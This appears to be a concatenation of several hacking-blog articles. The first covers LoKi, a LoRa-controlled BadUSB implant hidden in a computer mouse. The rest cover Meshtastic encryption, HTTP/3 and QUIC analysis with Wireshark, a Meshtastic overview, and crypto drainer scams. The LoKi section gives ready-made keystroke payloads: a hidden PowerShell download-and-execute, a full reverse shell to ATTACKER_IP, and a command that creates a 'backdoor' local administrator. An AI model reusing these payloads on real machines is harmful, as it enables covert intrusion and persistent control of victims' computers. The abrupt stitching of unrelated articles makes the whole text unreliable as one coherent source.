We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.
Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.
LoKi
LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.
Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.
The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.
Hardware
For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.
For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.
And here’s a photo of his early prototype.
Schematics
The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.
Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.
The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.
Firmware
The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.
You can use PlatformIO to flash the firmware.
Payloads
The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:
Download and execute a payload:
GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER
Create a reverse shell:
GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER
Add a local admin user:
GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER
There’s also a table we left for you to grasp the logic, if you’re not familiar with it.
Summary
Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.
If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.
Your messages travel through the mesh network, jumping from device to device, and might stay unencrypted. You need to understand how Meshtastic encryption works and how to set it up correctly, because a poorly configured mesh network can expose your communications to anyone with a compatible radio and basic technical knowledge.
In this article, we will explore the encryption options that Meshtastic provides for group communication and direct messages. Let’s get rolling!
Step #1: Setting Up Your Hardware with the Android Meshtastic App
In this demonstration, I will use the LilyGo T-Echo device and LilyGo T3 V1.6.1 (often labeled T-LoRa V2 1.6). However, you can use any other Metastatic-compatible device. Just make sure your device is running firmware version 2.5.0 or later to use the improved security features. When you connect the device to the Meshtastic app, the firmware version will be displayed.
Step #2: Configuring Pre-Shared Keys for Chat Channels
Chat Channels represent the primary method of group communication in Meshtastic networks. Each channel uses a Pre-Shared Key (PSK) that all participants must possess to participate in the conversation. The PSK serves as the encryption key (specifically AES256-CTR), while the channel is identified by a hash derived from both the PSK and the channel name. This means only devices with the correct PSK can decrypt messages sent on that channel, though it’s important to understand that the encrypted packets themselves are still broadcast over the radio and visible to anyone in range; they just can’t decrypt them without the PSK.
The default channel on a fresh Meshtastic installation (typically called “LongFast”) uses a well-known PSK (AQ==, which is simply a single null byte) that provides no real security whatsoever. Anyone with a Meshtastic device can receive and decrypt messages sent on the default channel, making it suitable only for public announcements or testing purposes. For any sensitive communications, you must configure custom channels with randomly generated PSKs that are shared only with trusted participants.
To create a secure channel, we need to open Settings and then the Channels section. At the bottom-right corner, you’ll see a plus sign, click on it, and you’ll see a screen like below.
Here, you need to specify a Channel name; in my case, it’ll be just “Secure”. Immediately after entering the name, the app will generate a random PSK automatically. That’s all, click Save.
You’ll be returned to the Channels settings, and click on Send. Now, the channel is ready, and the only thing we need to do is share this channel configuration with other participants who should have access. The easiest method is to generate a QR code that other users can scan with their Meshtastic apps to automatically configure the same channel settings, including the PSK.
To do so, change the tab to Conversations and click on the QR-Code icon; you’ll see a window like below.
Now, any messages you send on this channel will be encrypted with AES256 using that channel’s PSK, and only devices with the correct PSK will be able to decrypt and read them.
Remember: while your messages are encrypted, the radio transmissions are still broadcast publicly. Encryption prevents eavesdroppers from reading the content, but doesn’t hide the fact that communication is occurring.
Step #3: Public Key Cryptography for Direct Messages
Direct Messages in Meshtastic firmware version 2.5.0 and later utilize Public Key Cryptography (PKC) to provide authenticated and encrypted one-to-one communications between devices. Unlike channel communications, where all participants share the same password (PSK), Direct Messages use a more sophisticated system where each device has its own unique public and private key pair based on Curve25519 and Ed25519 cryptography.
When you send a Direct Message to another device, Meshtastic uses a hybrid encryption approach for efficiency:
A random AES session key is generated for that specific message
Your message is encrypted using that session key with AES
The session key itself is encrypted using Curve25519 key agreement with the recipient’s public key
The message is digitally signed using your Ed25519 private key
Source: https://meshtastic.org/
This ensures that only the recipient with the corresponding private key can decrypt the session key (and thus the message), providing confidentiality. The digital signature allows the recipient to verify that the message actually came from you and has not been tampered with in transit, providing authentication.
Important note: While the message content is encrypted, metadata such as sender ID, recipient ID, and timestamps remain visible to anyone monitoring the radio network. This is inherent to how mesh routing works.
The good news is that enabling Public Key Cryptography for Direct Messages requires almost no configuration on your part when using the Android app! In firmware version 2.5.0 and later, the device automatically generates its key pair when you first power it on with the updated firmware, and keys are automatically exchanged with other devices as needed through the mesh network.
Summary
In this article, we covered Pre-Shared Keys for securing group chat channels and Public Key Cryptography for protecting Direct Messages on your Meshtastic device. By implementing these encryption mechanisms, you can achieve decentralized communications where message content is protected from eavesdropping and tampering.
For decades, traditional HTTP traffic over TCP, also known as HTTP/1 and HTTP/2, has been the backbone of the web, and we have tools to analyze, intercept, and exploit it. But nowadays, we have HTTP/3, which is steadily increasing adoption across the web. In 2022, around 22% of all websites used HTTP/3; in 2025, this number increased to ~40%. And as cyberwarriors, we need to stay ahead of these changes.
In the article, we briefly explore what’s under the hood of HTTP/3 and how we can get in touch with it. Let’s get rolling!
What is HTTP/3?
HTTP/3 is the newest version of the Hypertext Transfer Protocol. Browsers, applications, and APIs use this system to move data across the Internet. What sets HTTP/3 apart is its break from TCP, the transport protocol that has powered the web since its earliest days.
The Problem with TCP
TCP (Transmission Control Protocol) is reliable but inflexible. It prioritizes accuracy over speed. It ensures all data arrives in perfect order, even if that slows the whole connection.
Each session requires a multi-step handshake. If one packet gets delayed, everything behind it must wait. This worked for email. It’s a poor fit for modern, high-speed web traffic.
How QUIC Solves It
HTTP/3 uses QUIC (Quick UDP Internet Connections) to overcome these limitations. QUIC is a transport protocol built on UDP. Engineers designed it for a fast, mobile, and latency-sensitive Internet.
QUIC minimizes handshake overhead. It avoids head-of-line blocking. And it encrypts nearly the entire connection by default, right from the start.
After years of development, the IETF officially standardized HTTP/3 in 2022. Today, it’s widely implemented across major browsers, cloud platforms, and an ever-growing number of web servers.
What Is QUIC?
Traditional web traffic follows a predictable pattern. A client starts a TCP three-way handshake. Then it performs a TLS handshake over that connection. Finally, it begins sending HTTP requests.
QUIC collapses this entire process into a single handshake. This handshake combines transport and cryptographic negotiation. The first time a client connects to a server, it can establish a secure connection in just one round trip.
On subsequent connections, QUIC can achieve zero-round-trip-time resumption. This means the client can send encrypted application data in the very first packet.
The protocol encrypts almost everything except a minimal connection identifier. TLS over TCP exposes TCP headers, sequence numbers, and acknowledgments in plaintext. QUIC, by contrast, encrypts packet numbers, acknowledgments, and even connection close frames. This encryption-by-default approach significantly reduces the metadata available for traffic analysis.
QUIC also implements connection migration. This feature allows a connection to survive network changes. If a user switches from WiFi to cellular, or their IP address changes due to DHCP renewal, the QUIC connection persists. It does this using connection IDs rather than the traditional four-tuple: source IP, source port, destination IP, and destination port.
QUIC Handshake
The process begins when the client sends its Initial packet. This first message contains the client’s supported QUIC versions, the available cipher suites, a freshly generated random number, and a Connection ID. This ID is a randomly chosen identifier. It remains stable even if the client’s IP address changes.
Inside this Initial packet, the client embeds the TLS 1.3 ClientHello message. It also includes QUIC transport parameters and the initial cryptographic material needed to start key negotiation. If the client has connected to the server before, it may even include early application data, such as an HTTP request, to save an extra round trip.
Server Response
The server then responds with its own set of information. It chooses one of the client’s QUIC versions and cipher suites, provides its own random number, and supplies a server-side Connection ID along with its QUIC transport parameters. This response embeds the TLS 1.3 ServerHello, which contains the cryptographic material needed to derive shared keys. The server also sends its full certificate chain, including the server certificate and the intermediate certificate authorities (CAs) that signed it. It may optionally include early HTTP response data too.
Certificate Verification and Connection Setup
Once the client receives the server’s response, it begins certificate verification. It extracts the certificate data and the accompanying signature, identifies the issuing CA, and uses the appropriate root certificate from its trust store to verify the intermediate certificates and, ultimately, the server’s certificate.
To do this, the client hashes the received certificate data using the algorithm the certificate specifies. It then checks whether this computed hash matches the one it can verify with the CA’s public key. If the values match, and the certificate is valid for the current time period and domain name in use, the client can trust that the server is genuine.
At this point, the client derives the QUIC connection keys using the TLS key schedule. It sends its TLS Finished message inside another QUIC packet. Once this exchange completes, the connection is fully ready for encrypted application data.
Encrypted Communication Begins
From this moment onward, the established session keys encrypt all traffic between client and server. Unlike traditional TCP combined with TLS, QUIC doesn’t require a separate TLS handshake phase. Instead, QUIC tightly integrates TLS into its own handshake, eliminating extra round trips.
One major advantage of this design is that both the server and client can include actual application data, such as HTTP requests and responses, within the handshake itself. As a result, certificate validation and connection establishment happen in parallel with the initial exchange of real data. This makes QUIC both faster and more efficient than the older TCP+TLS model.
How Does QUIC Network Work?
The image below shows the basic structure of a QUIC-based network. As illustrated, HTTP/3 requests, responses, and other application data all travel through QUIC streams. These streams are encapsulated in several logical layers before being transmitted over the network.
Anatomy of a QUIC Stream
A UDP datagram serves as the outer transport container. It has a header with the source and destination ports, along with length and checksum information. It carries one or more QUIC packets. This is the fundamental unit transmitted between the client and server across the network.
A QUIC packet is the unit contained within a UDP datagram. Each datagram may carry one or more of them. Every QUIC packet consists of a QUIC header along with one or more QUIC frames.
The QUIC Header
The QUIC header contains metadata about the packet and comes in two formats. The long header is used during connection setup, while the short header is used once the connection is established. The short header includes the connection ID, packet number, and key phase. The key phase indicates the encryption keys in use and supports key rotation. Packet numbers increase continuously for each connection and key phase.
Frames and Streams
A frame is the smallest structured unit inside a QUIC packet. It contains the frame type, stream ID, offset, and a segment of the stream’s data. Although the data for a stream is spread across multiple frames, the receiver can reassemble it in the correct order using the connection ID, stream ID, and offset.
A stream is a unidirectional or bidirectional channel of data within a QUIC connection. Each QUIC connection can support multiple independent streams, each identified by its own ID. If a QUIC packet is lost, only the streams carried in that packet are affected. All other streams continue uninterrupted. This independence eliminates the head-of-line blocking seen in HTTP/2. Streams can be created by either endpoint and can operate in both directions.
HTTP/3 vs. HTTP/2 vs. HTTP/1: What Actually Changed?
To understand the significance of HTTP/3, it helps to first consider the limitations of its predecessors.
HTTP/1.1, the original protocol still used by millions of websites, handles only one request per TCP connection. This forces browsers to open and close multiple connections just to load a single page, resulting in inefficiency, slower performance, and high sensitivity to network issues.
HTTP/2 introduced major improvements, including multiplexing, which allows multiple requests to share a single TCP connection, as well as header compression and server push. These changes provided significant gains, but the protocol still relies on TCP, which has a fundamental limitation: if one packet is delayed, the entire connection pipeline stalls. This phenomenon, known as head-of-line blocking, cannot be avoided in HTTP/2.
HTTP/3 addresses this limitation by replacing TCP with a more advanced transport layer. Built on QUIC, HTTP/3 establishes encrypted sessions faster, typically requiring only one round-trip instead of three or more. It eliminates head-of-line blocking by giving each stream independent flow control, allowing other streams to continue even if one packet is lost. It can maintain sessions through IP or network changes, recover more gracefully from packet loss, and even support custom congestion control tailored to different workloads.
In short, HTTP/3 is not merely a refined version of HTTP/2. It is a fundamentally redesigned protocol, created to overcome the limitations of previous generations, particularly for mobile users, latency-sensitive applications, and globally distributed traffic.
Get Started with HTTP/3
Modern versions of curl (7.66.0 and later, with HTTP/3 support compiled in) can test whether a target supports QUIC and HTTP/3. Here’s how to probe a server:
kali> curl –http3 -I https://www.example.com
This command attempts to connect using HTTP/3 over QUIC, but will fall back to HTTP/2 or HTTP/1.1 if QUIC isn’t supported.
Besides the theory, it’s also useful to see how QUIC traffic looks “in the wild.” One of the easiest ways to do this is by using Wireshark, a popular tool for analyzing network packets.
QUIC encrypts most of its payload. Even so, Wireshark can still identify QUIC packet types, versions, and some metadata. This helps us understand how a QUIC connection is established.
To start, open Wireshark and visit a website that supports QUIC. Cloudflare is a good example because it widely deploys HTTP/3 and the QUIC protocol. QUIC typically runs over UDP port 443. The simplest filter to confirm that you are seeing QUIC traffic is:
udp.port == 443
This filter shows all UDP traffic on port 443, which almost always corresponds to QUIC when dealing with modern websites.
QUIC uses different packet types during different stages of the connection. Even though the content is encrypted, Wireshark can still distinguish these packet types.
To show only Initial packets, which are the very first packets exchanged when a client starts a QUIC connection, use:
quic.long.packet_type == 0
Initial packets are part of QUIC’s handshake phase. They are somewhat similar to the “ClientHello” and “ServerHello” messages in TLS, except QUIC embeds the handshake inside the protocol itself.
If you want to view Handshake packets, which continue the cryptographic handshake after the Initial packets, use:
quic.long.packet_type == 2
These packets help complete the secure connection setup before QUIC switches to encrypted “short header” packets for normal data (like HTTP/3 requests and responses). Also, QUIC has multiple versions, and servers often support more than one. To see packets that use a specific version, try:
quic.version == 0x00000001
This corresponds to QUIC version 1, which is standardized in RFC 9000. By checking which QUIC version appears in the traffic, you can understand what the server supports and whether it is using the standardized version or an older draft version.
Summary
QUIC isn’t just an incremental upgrade. It’s a complete reimagining of how modern internet communication should work. The traditional stack of TCP, TLS, and HTTP/2 served us well for many years. But it was never designed for the realities of today’s internet: global-scale latency, constantly changing mobile connections, and the growing demand for both high performance and strong security. QUIC was built from the ground up to address these challenges, making it faster, more resilient, and more secure for the modern web.
Keep coming back, aspiring cyberwarriors, as we continue to explore how fundamental protocols of the internet are being rewritten.
In our eventful time, the ability to communicate off-grid has become more valuable than ever. In telecommunications, “off-grid” means communicating without relying on traditional infrastructure, such as cell towers or Wi-Fi networks. It’s about staying connected (or at least able to send/receive messages) in places where that infrastructure doesn’t exist or has failed.
Whether you’re preparing for emergencies or want a decentralized communication network that doesn’t rely on cellular towers or internet infrastructure, Meshtastic is a great solution to check out.
In this article, we will explore what Meshtastic is and what it has to offer.
What is Meshtastic?
Meshtastic is a project that lets you use inexpensive LoRa-based transceivers as a long-range communication platform in areas with no existing infrastructure or unreliable communication infrastructure. Its core technology, LoRa, is a long-range radio protocol that’s available in most regions without requiring additional licensing or certification. The radios automatically relay received messages, forming a distributed mesh network that allows every member of a group to receive messages – even from the most distant participant. Depending on the settings used, a Meshtastic mesh can support up to around 80 device nodes (though generally more may be possible).
Meshtastic radios can be paired with a single phone so that your friends and family can send messages to your specific radio. Each device supports a connection from only one user at a time.
Among its notable features are a long communication range (with a record of 331 km), the ability to communicate without a phone, decentralized communication with no need for a single router, encrypted messaging, excellent battery life (depending on the device, though power efficiency is built into the software), and additional GPS-based location features (which can be turned off, or set to send a fake location) and more.
Key Purposes and Use Cases
These communication systems serve a few main purposes. First, they’re great for outdoor activities. For example, people use them while hiking, camping, backpacking, or off-roading. That’s because they let a group stay in touch over long distances, even without cell towers nearby.
On top of that, these systems matter a lot during emergencies. For instance, they can keep people connected during natural disasters, power outages, or other times when cell networks go down. In fact, this makes them a reliable backup when normal communication fails.
Finally, these systems also play a key role in search and rescue efforts. In these situations, staying connected can make all the difference.
Meshtastic Node Map
Additionally, they facilitate messaging in remote or restricted areas where connectivity is poor or internet access is limited. Community members and hobbyists use these systems to create local mesh networks for experimentation, conduct large-scale testing at events such as DEF CON, or establish backup communication systems for urban areas.
Ultimately, these universal communication systems enhance safety, build community connections, and ensure reliable communication in various challenging environments.
How Does Mashtastic Work?
Meshtastic operates on hardware such as ESP32-based boards (e.g., Heltec, LilyGO T-Beam) or pre-built nodes equipped with LoRa modules. These devices are programmed with Meshtastic firmware and function on unlicensed ISM radio bands, making them legal in most regions without the need for a ham radio license, although using higher power may require one in certain areas.
A LILYGO TTGO T-Beam running in client mode on battery power
Communication Process
Sending a Message: First, connect a Meshtastic device (called a “node”) to your phone. You can do this over Bluetooth. To do this, you’ll need a companion app. These are available for Android, iOS, the web, and desktop. Next, type your message in the app. Then, it gets sent to your node.
Broadcasting: After that, the node broadcasts the message over LoRa radio. The message is encrypted first, for safety. It’s worth noting that LoRa only works well for small amounts of data. So, it’s good for short text messages. However, it can’t handle voice or video.
Meshing and Relaying: Meanwhile, nearby nodes pick up the packet. Each node checks if the packet is new. This step matters, because nodes keep track of packets they’ve already seen. That way, they avoid sending duplicates. If the packet is new, though, the node rebroadcasts it. But first, it lowers a number called the “hop limit” by one. This limit is usually set to about 3. It exists so messages don’t loop forever. As a result, the message hops from node to node. Eventually, it either reaches its target or runs out of hops.
Receiving: Finally, the destination node gets the packet. Then, it decrypts the message using AES256 encryption, along with a shared channel key. After that, it sends the message to the connected app or phone, so you can read it. On top of that, nodes can also share their location. This way, everyone in the group can see where each other are on a map.
Differences Between LTE, 5G, and Meshtastic
Many of us depend on LTE and 5G networks daily, so it’s important to compare them with Meshtastic.
5–20+ km per hop (line-of-sight, terrain-dependent); extends via mesh
Nationwide/global where towers exist; indoor/outdoor
Similar to LTE but denser for high speeds; mmWave short-range
Data Speed
Very low: ~0.5–20 kbps (text-only, short messages)
5–100 Mbps typical (up to 300 Mbps peak)
100 Mbps–1+ Gbps typical (up to 10–20 Gbps theoretical)
Latency
Seconds to minutes (mesh hopping)
20–50 ms
1–10 ms (ultra-low for real-time apps)
Data Types
Text messages, GPS positions, basic telemetry
Voice, video, high-speed internet, apps
All LTE + AR/VR, IoT, autonomous vehicles
Power Consumption
Very low: Weeks/months on battery/solar
Moderate: Drains phone battery quickly
Higher (especially mmWave); improved efficiency in newer devices
Cost
Low one-time (devices + optional solar); no subscriptions
Monthly plan + device
Higher plans; premium for full speeds
Reliability in Outages
Excellent: Works off-grid, no single point of failure
Fails without power/towers (e.g., disasters)
Same as LTE; more vulnerable to congestion
Limitations
Text-only, slow, needs multiple nodes for range
Requires signal/subscription
Limited high-speed coverage; higher battery drain
These technologies serve different purposes: Meshtastic for resilient, infrastructure-independent communication in remote or emergency scenarios, versus LTE/5G for high-speed, everyday mobile internet and voice.
Summary
Meshtastic is a free and user-friendly tool that allows you to send messages without relying on the internet or mobile networks. It connects small, specialized devices to form a network, allowing communication over long distances. This makes it great for outdoor adventures, emergencies, or communication in remote areas.
Stay tuned as we continue to explore off-grid communication in future articles.
Let’s talk about something that has become one of the biggest problems in the crypto world. It’s drainers. If you haven’t heard the word before, don’t worry, you’re about to become very familiar with it. Drainers are a type of phishing attack, and they have swept through the cryptocurrency world at a truly striking pace. In fact, they are now growing so fast that they have already overtaken ransomware, both in how widespread they are and in the sheer amount of money they steal. To understand exactly how this works, we dug into the mechanics of drainers as well as the whole shadowy little market that has grown up around them. That’s what we are going to explore together today.
The basic idea behind any phishing campaign is to catch you making a mistake. Hackers want you to hand over information or access that should never leave your hands. In the specific case of drainers, the goal is a little different from classic phishing. The hacker wants to trick you into granting a smart contract permission to interact with your funds. Once you give that permission, the damage is already done. Drainers mostly go after blockchains that support smart contracts. That means they target users on Ethereum and Ethereum-like networks, such as Base, Polygon, and Optimism. But don’t think Ethereum is the only battlefield. Drainers built for Solana exist too, and a drainer aimed at Bitcoin has already made an appearance.
Imagine you want to connect your MetaMask wallet to some project’s website because you’re hoping to grab a little free crypto. Maybe you want to buy a brand-new token while it’s still cheap, before the price shoots up. You click Connect, you type in your password, and you sign a transaction that approves access to your wallet. And that, right there, is exactly the moment a drainer catches you. Instead of a legitimate contract that would let you receive tokens, the hacker gets you to sign a malicious smart contract. In doing so, you unknowingly grant permission for your funds to be transferred out. In effect, you agree, with your own hand, to give away all your money.
A selection of AI-enabled scam trends. Source: Elliptic
So how does a hacker actually pull this off? It works best with something called an airdrop, which is simply a giveaway of new tokens. Airdrops attract a swarm of people who are hoping to get a little bit of crypto that might grow tens of times in value down the road. These giveaways do genuinely happen sometimes, as a real way to promote a new token. So people have learned to trust them. In that exact moment, the user is driven by something we call FOMO, the fear of missing out on a gain.
In their rush to grab the airdrop, a person often doesn’t stop to check who actually created the page they are interacting with, or what the smart contract they are approving actually does under the hood. The website itself might be a perfect copy of the real one, built by the hacker down to the smallest detail, while the smart contract underneath does the opposite of what it promises. Instead of giving you money, it takes it.
Drainers Are Gaining Momentum
In 2024, drainers overtook ordinary ransomware, both in how far they spread and in how much money they brought in. Now, don’t get it wrong, ransomware is still very much the scourge of large businesses. But scammers, being the opportunists they are, have rushed into this new and still relatively uncrowded niche. The very first drainers spread quietly, as scripts traded on darknet marketplaces. Back in 2022 there were 55 unique forums where you could find drainers being sold or discussed. By 2024, that number had jumped to 129 such places, more than double in just two years.
And keep in mind, that count only covers a place as niche and honestly as sparse as the dark web. Most of the real action these days happens on Telegram and Discord.
The biggest drainers active in 2024 had names like Angel, Inferno, Ping, Ace, Cerberus, Nova, Medusa, MS, CryptoGrab, and Venom. Of that whole list, mainly Angel and Ace are still active today, but a new player has stepped onto the stage, one called Vanilla. It hasn’t been studied very closely yet, because it runs on a private model that is difficult for the average scammer to even get access to.
According to Scam Sniffer, a company that closely analyzes different types of crypto fraud, total losses from drainers in 2024 added up to $494.000.000.
That figure only counts the large-scale hacks that could actually be tallied and confirmed. Since drainers mostly target ordinary, everyday users, small thefts of just a few thousand dollars here and there don’t even make it into that statistic. So the real number is almost certainly much higher.
Among the large-scale cases recorded in 2024, there were more than three hundred thirty thousand victims. The single biggest theft that year came to $55.000.000. All together, there were roughly thirty major fraudulent campaigns, which is one and a half times more than the year before, in 2023. In the first quarter of 2024 alone, drainers showed almost sixfold growth. Compare that to ransomware, which only doubled over that same stretch of time.
So what do all these numbers really mean? Well, because the barrier to entry into this line of work is so remarkably low, it has started attracting scammers who used to work in more old-fashioned territory, like email phishing, luring victims to fake bank login pages and other traditional scam types. A couple of months of this kind of work could buy an apartment, a car, and regular vacations somewhere warm like Thailand. Take one risk, and you can just walk away, or so the thinking goes. But of course, once someone gets a real taste of easy money like that, nobody actually walks away after two months. The business pulls them back in.
Think about the contrast here. A ransomware group has to negotiate with a company, arrange for payment, and handle the whole business of decryption afterward. That’s a lot of hassle and a lot of steps where things can go wrong. A drainer, on the other hand, just steals the money immediately. No negotiation needed.
Like plenty of other kinds of scams out there, drainers are distributed under what’s called a SaaS model, short for Software-as-a-Service. In this criminal corner of the internet, they’re called DaaS, meaning Drainer-as-a-Service.
There’s also a very characteristic division of labor inside these operations. You’ve got developers, who build the actual malware. You’ve got workers, the rank-and-file operatives out doing the scamming day to day. And alongside them you’ve got recruiters, traffic-generation specialists, and providers of various supporting services that keep the whole machine running. The main job, naturally, falls to the developers. They are the ones who create the malicious software and work to make it more convenient to use, easier to deploy, and easier to scale up.
How the “Company” Is Built
So what does a hacker actually need in order to pull off a phishing campaign like this?
First, they need domains for their future sites, and these domains are usually spelled just similarly enough to the name of the real project they’re impersonating, so a distracted eye won’t catch the difference. Then they need hosting, which is simply a place to put the site once it’s built. Naturally, they also need a landing page, one designed to closely resemble the legitimate project’s real page. Underneath that landing page sits the drainer code itself, which is typically JavaScript code hosted directly on the site. On top of all that, they’ll usually build a control panel that shows them how many users have been lured in and tracks how those users are behaving on the page. And finally, hackers take their own security seriously too, relying on VPNs, proxies, and fake sockpuppet accounts to cover their tracks.
Source: Elliptic
Professional hackers usually go a step further and set up a full command-and-control server, which lets them manage the drainer’s behavior remotely and adjust it on the fly.
Once all of that infrastructure is in place, all that’s left is bringing in people, actual victims to walk through the trap. That job falls to traffic arbitrage specialists, sometimes called traffic drivers. Their whole task is to funnel users toward the phishing page. They accomplish this in all sorts of ways, everything from buying Google ads to jumping directly into comment sections and posts to engage with real users. Some scammers even go so far as to clone the official support channels of legitimate projects, so a victim reaching out for help ends up talking to the scammer instead.
Put it all together, and what you get is a genuine sales funnel, a designed path that walks victims toward the trap, just like any legitimate marketing funnel would walk a customer toward a purchase.
How the Money Is Split
Here’s how the profits typically get divided up. Operators, the people running the overall scheme, take home twenty to thirty percent of whatever gets stolen. The rest goes to the workers, the people directly out there scamming victims day to day. A worker’s exact cut depends on their skill level. Beginners give up thirty percent of their take to the operators, while the most experienced workers only give up ten to fifteen percent.
And how is a worker’s skill level judged? Simply by how much they have already managed to steal over time. If you’ve stolen up to $10.000 total, you’re considered a beginner. Between $25.000 and $30.000 puts you at mid-level. And starting from $100.000, usually climbing toward a million or more, you’re considered a true professional in this dark little trade.
Driving Traffic
Knowledge in this underground world gets passed around among workers through tutorials. A tutorial itself becomes an item that gets bought, sold, and traded, almost like a piece of merchandise. Entire communities have formed just to gain access to these tutorials, treating them like valuable trade secrets. The writing style of these tutorials makes it fairly clear that AI tools were used to help put them together.
Broadly speaking, the same traffic-driving scheme used in ordinary, everyday phishing applies here too, just adapted for the world of crypto. A worker is essentially doing the same job as any online advertising specialist would. Their goal is simply to increase the number of people clicking through to the phishing page. That means hunting for users who are genuinely interested in Web3 and DeFi projects, people who hold crypto wallets and who are drawn to airdrops, token swaps, and exchanges.
Sample texts (lifted verbatim from actual cases) from pig butchering scammers. Source: Elliptic
This whole process involves demographic analysis and geolocation analysis, essentially the same ordinary targeting techniques that any advertiser in any industry would recognize. Workers also handle what they call “site design,” which really just means cloning the pages of existing, trusted projects. They’ll even use classic marketing techniques like A/B testing to see which fake page tricks more people.
Now let’s walk through a few high-profile examples of drainer thefts.
The Attack on Arkham Intelligence
Arkham is a company that provides on-chain analytics, and it’s a genuinely popular tool for tracking transactions. Traders rely on it, for instance, to check an asset’s price and see exactly where it’s trading across different platforms.
Back in 2023, Arkham’s owners launched their own token along with an airdrop of coins to celebrate. But hackers saw an opportunity and created numerous fake profiles on X specifically to redirect users toward phishing pages containing a drainer. Remarkably, these bot accounts proved quite resilient and managed to avoid being banned for a long stretch of time. They mimicked Arkham’s real activity closely and spread malicious links far and wide.
A huge number of these fake sites were created during the campaign, and each one typically had a lifespan of just weeks, or a couple of months at most. Angel’s software allowed a hacker to copy landing pages quickly and place them on brand-new domains almost instantly. The whole process has been simplified so much that a worker only needs to type a few commands into a conversation with a Telegram bot in order to deploy an entirely new phishing site.
The Attack on the SEC
An even bigger impact can be achieved by a hacker hijacking the real, verified account of some authoritative company, or even a government organization.
And that’s what happened with the United States Securities and Exchange Commission, or the SEC. On January 9, 2024, its account on X was compromised through a technique called SIM swapping, which basically means reissuing a SIM card tied to the phone number linked to that account. Officials, unfortunately forgetting about basic security hygiene, hadn’t even enabled multi-factor authentication on the account.
Lately, the SIM-swapping community and the drainer community have grown noticeably closer, almost like two neighboring criminal industries starting to collaborate. Swappers now routinely supply drainers with freshly hijacked accounts to use.
The hackers behind this attack posted that the SEC had officially approved investing in Bitcoin without needing to buy crypto directly on an exchange like Binance or Coinbase. This caused an immediate stir, because investors had been waiting a long time for exactly this kind of decision from the SEC, and many expected it to be announced any day. Following the fake post, the hackers urged people to claim an “official SEC airdrop” on a special site that contained a drainer.
That single fake post even caused a real spike in Bitcoin’s price. It rose by a full thousand dollars, just from a fake tweet.
Scamming the Scammers
Scammers, as it turns out, wouldn’t really be scammers if they didn’t also scam each other. At one point, the developer behind the Pink Drainer felt like he was getting close to being unmasked, so he decided to get out of the game entirely and cash out his loot. Here’s the catch, though. You can’t just sell crypto obtained through a scam outright. To actually withdraw the funds, a scammer first has to launder the money, or else an exchange might get suspicious and freeze it before it ever reaches a real bank account.
To avoid enabling things like terrorism financing, or simply to stay within the law, exchanges use a system of scoring and refuse to accept “dirty” crypto. This scoring system is called an AML score, short for anti-money-laundering. There are plenty of laundering methods out there, and while trying one of them, Pink Drainer’s own developer ended up getting scammed himself. He fell for one of the simplest kinds of fraud imaginable called address poisoning.
Here’s how it works. Hackers generate crypto addresses that closely resemble a victim’s real address, and then they send that victim a tiny amount of crypto, just enough so that the lookalike address shows up in the victim’s transaction history.
An example of a custom ETH wallet address generator used for address poisoning. Source: Elliptic
From the user’s side, here’s what it looks like in practice. You send, say, one hundred dollars to some other wallet, maybe an exchange you use regularly. Then, five or ten minutes later, you receive a few tiny transfers that appear to come from that very same wallet. But in reality, they only come from a similar-looking address, one that might share, say, an identical start and end to the real address, while the middle is different.
